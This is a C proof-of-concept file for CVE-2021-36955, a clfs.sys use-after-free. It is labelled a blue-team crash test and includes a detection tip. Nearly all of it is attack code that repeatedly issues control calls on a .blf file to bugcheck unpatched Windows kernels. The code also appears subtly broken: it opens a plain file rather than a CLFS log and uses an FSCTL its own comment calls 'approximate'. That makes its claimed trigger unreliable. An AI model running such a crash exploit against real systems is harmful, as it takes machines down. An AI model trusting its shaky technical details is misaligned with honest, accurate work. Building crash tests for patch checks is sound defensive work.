// poc_cve_2021_36955.c — CVE-2021-36955 clfs.sys use-after-free
//
// Bug:    ExtendMetadataBlockDescriptor frees metadata block while
//         ReadMetadataBlock still holds a reference → UAF.
// Reach:  CreateFile on .blf log + FSCTLs that trigger log growth.
//
// Expected result:
//   - Pre-KB5005565 (clfs <= 10.0.19041.1052): bugcheck 0x50 or UAF crash
//     in clfs!ReadMetadataBlock / clfs!ExtendMetadataBlockDescriptor.
//   - Patched:   Log operations complete normally.
//
// Build (MSVC):
//   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2021_36955.c
//
// Blue-team note: Alert on non-system processes creating .blf files and
//   issuing repeated FSCTLs. CLFS is rarely used by user apps.

#include <windows.h>
#include <stdio.h>

#define BLF_FILE L"C:\\Users\\%USERNAME%\\AppData\\Local\\Temp\\poc_cve_2021_36955.blf"
#define GROW_SIZE 0x10000

// CLFS FSCTLs (undocumented, approximate)
#ifndef FSCTL_CLFS_FLUSH
#define FSCTL_CLFS_FLUSH  CTL_CODE(FILE_DEVICE_LOG_FILE, 2, METHOD_BUFFERED, FILE_ANY_ACCESS)
#endif

static void CreateAndGrowLog(LPCWSTR path)
{
    HANDLE hFile = CreateFileW(path,
                               GENERIC_READ | GENERIC_WRITE,
                               0, NULL, CREATE_ALWAYS,
                               FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFile failed: %lu\n", GetLastError());
        return;
    }

    printf("[+] Created CLFS log: %ws\n", path);

    // The trigger: repeatedly grow the log to force metadata block extension
    // This exercises ExtendMetadataBlockDescriptor + ReadMetadataBlock
    for (int i = 0; i < 0x1000; i++) {
        DWORD returned = 0;
        ULONG growSize = GROW_SIZE;
        DeviceIoControl(hFile, FSCTL_CLFS_FLUSH,
                        &growSize, sizeof(growSize),
                        NULL, 0, &returned, NULL);
        if ((i & 0xFF) == 0xFF) {
            printf("[*] growth iteration %d\n", i + 1);
        }
    }

    CloseHandle(hFile);
    DeleteFileW(path);
}

int wmain(void)
{
    WCHAR path[MAX_PATH];
    ExpandEnvironmentStringsW(BLF_FILE, path, MAX_PATH);

    printf("CVE-2021-36955 - clfs.sys UAF (blue-team crash PoC)\n");
    printf("Expected: pre-KB5005565 → bugcheck 0x50 in clfs!ReadMetadataBlock\n");
    printf("          post-patch    → normal completion\n\n");

    CreateAndGrowLog(path);

    printf("[+] Done — no crash observed (patched, or trigger path not reached).\n");
    return 0;
}
